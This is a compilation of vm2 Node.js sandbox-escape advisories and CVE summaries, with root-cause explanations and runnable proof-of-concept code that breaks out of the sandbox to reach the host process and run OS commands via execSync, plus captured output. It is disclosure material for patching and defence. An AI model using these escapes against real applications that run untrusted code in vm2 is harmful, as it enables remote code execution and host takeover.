In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC js const { VM } = require("vm2");
const vm = new VM();
vm.run( const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:childprocess"); execSync("echo pwned", { stdio: "inherit" }); } );
Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTINGOVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
js const NESTINGOVERRIDE = Object.freeze({ proto: null, vm2: vm2NestingLoader });
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTINGOVERRIDE, // ← injected when nesting:true this.compiler );
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENYRESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTINGOVERRIDE:
js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENYRESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTINGOVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULTFS, [], builtins); // vm2 is now requireable } // ... }
lib/builtin.js:102-106 — NESTINGOVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } }
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches childprocess.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
js const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run( // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['childprocess'] } });
// Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("childprocess").execSync("id").toString()' ); );
console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591): uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
The variant with require: false also works — the outer VM's require setting has no effect:
js new NodeVM({ nesting: true, require: false }).run( const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['childprocess'] } }) .run('module.exports = require("childprocess").execSync("id").toString()'); ); // uid=1000(akshat) ...
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.
What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.
Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.
Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
js const obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice:()=>'', l:{proto: null} };
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) { if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice; return a; }}); obj.l.x.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Summary
Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.
Details
Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux) Trigger: Attacker-controlled code passed to VM.run() Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)
vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.
WebAssembly's trytable instruction with a JSTag catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASM trytable catches it as an opaque externref and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.
PoC
js const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);
new VM().run( const before = typeof process;
const err = new Error("x"); err.name = Symbol();
const wasm = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00, 0x02,0x19,0x02, 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00, 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02, 0x03,0x02,0x01,0x01, 0x07,0x0f,0x01, 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01, 0x0a,0x12,0x01,0x10,0x00, 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]);
const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } );
const hostError = instance.exports.catcherror(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("childprocess").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); );
node poc.js vm2: 3.10.4 | node: v25.6.1
process before escape: undefined process after escape: object host pid: 217 host node version: v25.6.1 RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Proof files poc.js
Summary
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39. This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.
PoC
The following code demonstrates this issue by aquiring the host process object and executing touch pwned.
js const {VM} = require("vm2"); const vm = new VM(); vm.run( Object.defineProperty=()=>{}; async function fn() { const e = new Error(); e.name = Symbol(); return e.stack; } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('childprocess').execSync('touch pwned'); } ) } } }; p.then(); );
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
It is possible to catch a host exception using the yield expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield iterator as the next value.
PoC
js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function helper() { yield { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); ));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5.
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.
vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, This vulnerability is fixed in 3.11.2.
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.
Package: patriksimek/vm2 Affected versions: <= 3.11.0 Fixed version: 3.11.1 Severity: Critical
vm2 before 3.11.1 is vulnerable to sandbox escape / host OS command execution when NodeVM is used with nesting: true and untrusted code.
In the vulnerable case, sandboxed code can require('vm2') regardless of the outer VM's require restrictions, including require: false, then create an inner NodeVM with attacker-chosen settings and execute arbitrary OS commands on the host.
The 3.11.1 fix rejects new NodeVM({ nesting: true, require: false }) at construction time. The maintainer also notes that nesting: true remains an escape hatch by design; untrusted code should not be run with nesting: true enabled.
References: https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx https://github.com/patriksimek/vm2#5-nesting-true-is-an-escape-hatch https://github.com/patriksimek/vm2/releases/tag/v3.11.1 https://github.com/patriksimek/vm2/blob/main/docs/ATTACKS.md#attack-category-25-nodevm-nesting-true--require-false-configuration-trap
Security researchers disclosed multiple critical vm2 sandbox escape vulnerabilities this week, including CVE-2026-26956 affecting Node.js 25. The flaws allow attackers running untrusted JavaScript inside vm2 to escape the sandbox and execute arbitrary code on the host system.
Info + analysis: https://thecybersecguru.com/news/vm2-sandbox-escape-vulnerability-cve-2026-26956/